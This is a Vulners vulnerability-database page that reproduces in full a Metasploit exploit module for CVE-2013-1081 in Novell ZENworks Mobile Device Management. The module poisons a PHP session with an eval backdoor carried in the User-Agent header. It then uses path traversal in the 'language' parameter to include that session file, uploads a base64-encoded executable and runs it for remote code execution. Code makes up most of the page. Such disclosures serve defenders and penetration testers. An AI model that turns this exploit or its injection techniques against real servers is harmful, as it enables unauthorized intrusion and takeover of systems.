Lucene search
+L

Novell ZENworks Mobile Device Managment 2.6.1/2.7.0 - Local File Inclusion (Metasploit)

🗓️ 07 Jun 2013 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 35 Views

Novell Zenworks Mobile Device Management Local File Inclusion Vulnerability allows remote code execution

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Novell Zenworks Mobile Device Management Local File Inclusion
7 Jun 201300:00
zdt
circl
Circl
CVE-2013-1081
7 Jun 201300:00
circl
checkpoint_advisories
Check Point Advisories
Novell ZENworks Mobile Management MDM.php Code Execution (CVE-2013-1081)
25 Aug 201300:00
checkpoint_advisories
cve
CVE
CVE-2013-1081
11 Mar 201321:00
cve
cvelist
Cvelist
CVE-2013-1081
11 Mar 201321:00
cvelist
kitploit
Kitploit
CVE-2013-1081
27 Aug 202601:40
kitploit
metasploit
Metasploit
Novell Zenworks Mobile Device Management Admin Credentials
4 Jun 201316:20
metasploit
metasploit
Metasploit
Novell Zenworks Mobile Managment MDM.php Local File Inclusion Vulnerability
13 Mar 201300:00
metasploit
nessus
Tenable Nessus
Novell ZENworks Mobile Management MDM.php Local File Inclusion
14 Mar 201300:00
nessus
nvd
NVD
CVE-2013-1081
11 Mar 201321:55
nvd
Rows per page
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize
    super(
      'Name'           => 'Novell Zenworks Mobile Device Managment Local File Inclusion Vulnerability',
      'Description'    => %q{
        This module attempts to gain remote code execution on a server running
        Novell Zenworks Mobile Device Management.
      },
      'Author'         =>
        [
          'steponequit',
          'Andrea Micalizzi (aka rgod)' #zdi report
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Novell Zenworks Mobile Device Management on Windows', {} ],
        ],
      'DefaultTarget'  => 0,
      'References'     =>
        [
          ['CVE', '2013-1081'],
          ['OSVDB', '91119'],
          ['URL', 'http://www.novell.com/support/kb/doc.php?id=7011895']
        ],
      'DisclosureDate' => "Mar 13 2013",
      'License'        => MSF_LICENSE
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Path to the Novell Zenworks MDM install', '/']),
      OptInt.new('RPORT', [true, "Default remote port", 80])
    ], self.class)

    register_advanced_options([
      OptBool.new('SSL', [true, "Negotiate SSL connection", false])
    ], self.class)
  end

  def peer
    "#{rhost}:#{rport}"
  end

  def get_version
    version = nil

    res = send_request_raw({
      'method' => 'GET',
      'uri' => target_uri.path
    })

    if (res and res.code == 200 and res.body.to_s.match(/ZENworks Mobile Management User Self-Administration Portal/) != nil)
      version = res.body.to_s.match(/<p id="version">Version (.*)<\/p>/)[1]
    end

    return version
  end

  def check
    v = get_version
    print_status("#{peer} - Detected version: #{v || 'Unknown'}")

    if v.nil?
      return Exploit::CheckCode::Unknown
    elsif v =~ /^2\.6\.[01]/ or v =~ /^2\.7\.0/
      # Conditions based on OSVDB info
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def setup_session()
    sess = Rex::Text.rand_text_alpha(8)
    cmd = Rex::Text.rand_text_alpha(8)
    res = send_request_cgi({
      'agent' => "<?php echo(eval($_GET['#{cmd}'])); ?>",
      'method' => "HEAD",
      'uri' => normalize_uri("#{target_uri.path}/download.php"),
      'headers' => {"Cookie" => "PHPSESSID=#{sess}"},
    })
    return sess,cmd
  end

  def upload_shell(session_id,cmd_var)
    fname   = Rex::Text.rand_text_alpha(8)
    payload = generate_payload_exe
    cmd     = "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';"
    cmd    << "file_put_contents($wdir.'#{fname}.exe',"
    cmd    << "base64_decode(file_get_contents('php://input')));"

    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, "DUSAP.php"),
      'data'     => Rex::Text.encode_base64(payload),
      'vars_get' => {
        'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
        cmd_var    => cmd
      }
    })
    return fname
  end

  def exec_shell(session_id,cmd_var,fname)
    cmd  = "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';"
    cmd << "$cmd=$wdir.'#{fname}';"
    cmd << "$output=array();"
    cmd << "$handle=proc_open($cmd,array(1=>array('pipe','w')),"
    cmd << "$pipes,null,null,array('bypass_shell'=>true));"
    cmd << "if (is_resource($handle)){fclose($pipes[1]);proc_close($handle);}"

    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, "DUSAP.php"),
      'data'     => Rex::Text.encode_base64(payload),
      'vars_get' => {
        'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
        cmd_var    => cmd
      }
    })
  end


  def exploit()
    begin
      print_status("#{peer} - Checking application version...")
      v = get_version
      if v.nil?
        print_error("#{peer} - Unable to detect version, abort!")
        return
      end

      print_good("#{peer} - Found Version #{v}")
      print_status("#{peer} - Setting up poisoned session")
      session_id,cmd = setup_session()
      print_status("#{peer} - Uploading payload")
      fname = upload_shell(session_id,cmd)
      print_status("#{peer} - Executing payload")
      exec_shell(session_id,cmd,fname)

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    rescue ::Timeout::Error, ::Errno::EPIPE
    rescue ::OpenSSL::SSL::SSLError => e
      return if(e.to_s.match(/^SSL_connect /) ) # strange errors / exception if SSL connection aborted
    end
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation